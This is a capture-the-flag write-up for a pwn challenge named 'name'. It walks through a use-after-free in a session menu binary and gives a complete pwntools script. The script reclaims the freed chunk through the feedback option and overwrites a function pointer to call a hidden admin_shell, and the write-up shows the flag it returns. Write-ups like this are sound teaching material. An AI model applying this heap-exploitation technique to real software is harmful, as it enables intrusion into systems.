name
- Category
-
Pwn - Files
- name libc.so.6 ld-linux-x86-64.so.2
- Description
- Denis always said that saying goodbye is not a reason to forget your name.
Program Analysis
In this challenge, we were given a binary named name. Let’s try to examine the decompiled code.
main
int main(void) { int choice; _init_streams();
while (1) { menu(); if (scanf("%d", &choice) != 1) { return 0; }
if (choice == 1) { create_session(); } else if (choice == 2) { delete_session(); } else if (choice == 3) { leave_feedback(); } else if (choice == 4) { greet_user(); } else { exit(0); } } return 0;}The main() function initializes the streams and enters an infinite loop, offering four main actions: creating a session, deleting it, leaving feedback, or greeting the user. These actions interact with a global current_session pointer.
create_session
void create_session(void) { current_session = malloc(0x20); if (current_session == NULL) { puts("[-] Allocation failed."); } else { *((void (**)(void *))((char *)current_session + 0x18)) = normal_greet; printf("Enter name: "); read(0, current_session, 0x14); puts("[+] Session created."); }}The create_session() function allocates a 0x20 byte chunk on the heap. It sets a function pointer at offset 0x18 to the normal_greet() function and reads up to 0x14 (20) bytes into the start of the chunk for the user’s name.
delete_session
void delete_session(void) { if (current_session == NULL) { puts("[-] No active session."); } else { free(current_session); puts("[+] Session deleted."); }}The delete_session() function frees the memory associated with the current_session. However, there’s a bug here: after freeing the chunk, the current_session pointer is not cleared (set to NULL), leading to a Use-After-Free (UAF) vulnerability.
leave_feedback
void leave_feedback(void) { void *__buf; __buf = malloc(0x20); if (__buf == NULL) { puts("[-] Allocation failed."); } else { printf("Enter feedback: "); read(0, __buf, 0x20); puts("[+] Feedback recorded."); }}The leave_feedback() function allocates another 0x20 byte chunk—the same size as the session object. Because it uses the same bin, this new allocation will likely occupy the recently freed current_session memory if it was just deleted. We can write 32 bytes into this buffer, allowing us to overwrite the function pointer at offset 0x18.
greet_user
void greet_user(void) { if (current_session == NULL) { puts("[-] No active session."); } else { void (*greet_func)(void *) = *((void (**)(void *))((char *)current_session + 0x18)); greet_func(current_session); }}The greet_user() function attempts to call the function pointer stored at current_session + 0x18. Since current_session still points to the (potentially) freed and reallocated memory, this triggers the UAF. If we’ve overwritten that pointer via leave_feedback(), we gain control over the execution flow.
admin_shell
void admin_shell(void) { char *__s; __s = getenv("FLAG_VAL"); if (__s == (char *)0x0) { puts("grodno{REAL_COMBAT_UAF}"); } else { puts(__s); } exit(0);}Finally, we find a hidden admin_shell() function that prints the flag. Our goal is to redirect the greet_user() call to this address.
Now that we know the bug, let’s move to the exploitation part.
Starting with a basic check of the binary’s protections:
❯ checksec name Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./' Stripped: NoThe binary has No PIE, which means the addresses of functions and global variables are fixed. This simplifies our exploit as we don’t need to leak the base address of the executable.
Exploitation
By using the leave_feedback() function after deleting a session, we can overwrite the contents of the (now-allocated-to-feedback) session object, including the function pointer at +0x18.
When we call greet_user(), the program uses the dangling pointer to call whatever is at +0x18:
void greet_user(void) { if (current_session != NULL) { // USE-AFTER-FREE: Calls the function pointer at +0x18 void (*greet_func)(void *) = *((void (**)(void *))((char *)current_session + 0x18)); greet_func(current_session); }}Our goal is to overwrite this with the address of admin_shell() (0x401256).
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgset follow-fork-mode parentset follow-exec-mode samecontinue'''.format(**locals())
exe = './name'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)def loglibc(): log.success('libc addr = %#x' % libc.address)def logbase(): log.success('pie addr = %#x' % elf.address)def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binarylibc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
io = start()
def create_session(name): sla(b'> ',b'1') sla(b'name: ',str(name).encode())
def delete_session(): sla(b'> ',b'2')
def feedback(data): sla(b'> ',b'3') sla(b'feedback: ',data)
def greet(): sla(b'> ',b'4')
# 1. Create a session to populate current_sessioncreate_session(b'test')
# 2. Delete it to create a dangling pointerdelete_session()
# 3. Use 'feedback' to take over the freed chunk# Overwrite the function pointer at offset 24 (0x18)feedback(cyclic(24)+p64(elf.sym["admin_shell"]))
# 4. Trigger the UAF call via greet_usergreet()
io.interactive()Note
The binary has No PIE, so elf.sym["admin_shell"] is a constant address.
Running the exploit gives us the flag:
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9070[+] Opening connection to ctf.mf.grsu.by on port 9070: Done[*] Switching to interactive modegrodno{PHR33d_s3ss10N_S71LL_Gr337z}Flag: grodno{PHR33d_s3ss10N_S71LL_Gr337z}